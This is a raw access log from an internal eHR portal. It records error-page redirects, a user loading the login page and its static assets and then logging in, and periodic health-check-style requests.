192.168.40.98 - - [03/Sep/2025:16:44:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.98 - - [03/Sep/2025:16:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10096 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.98 - - [03/Sep/2025:16:44:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10096
100.64.0.1 - - [03/Sep/2025:16:44:54 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:44:54 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:45:09 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:45:09 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:47:12 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:47:12 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:47:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:16:47:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:16:48:29 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:48:29 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:49:03 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:49:03 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:16:50:23 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:16:50:23 +0800] "GET / HTTP/1.0" 200 439
192.168.11.222 - - [03/Sep/2025:16:54:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.222 - - [03/Sep/2025:16:54:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:54 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:54 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.222 - - [03/Sep/2025:16:54:55 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:57 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:57 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829
192.168.11.222 - - [03/Sep/2025:16:54:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.222 - - [03/Sep/2025:16:54:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.222 - - [03/Sep/2025:16:54:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:54:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.222 - - [03/Sep/2025:16:55:05 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
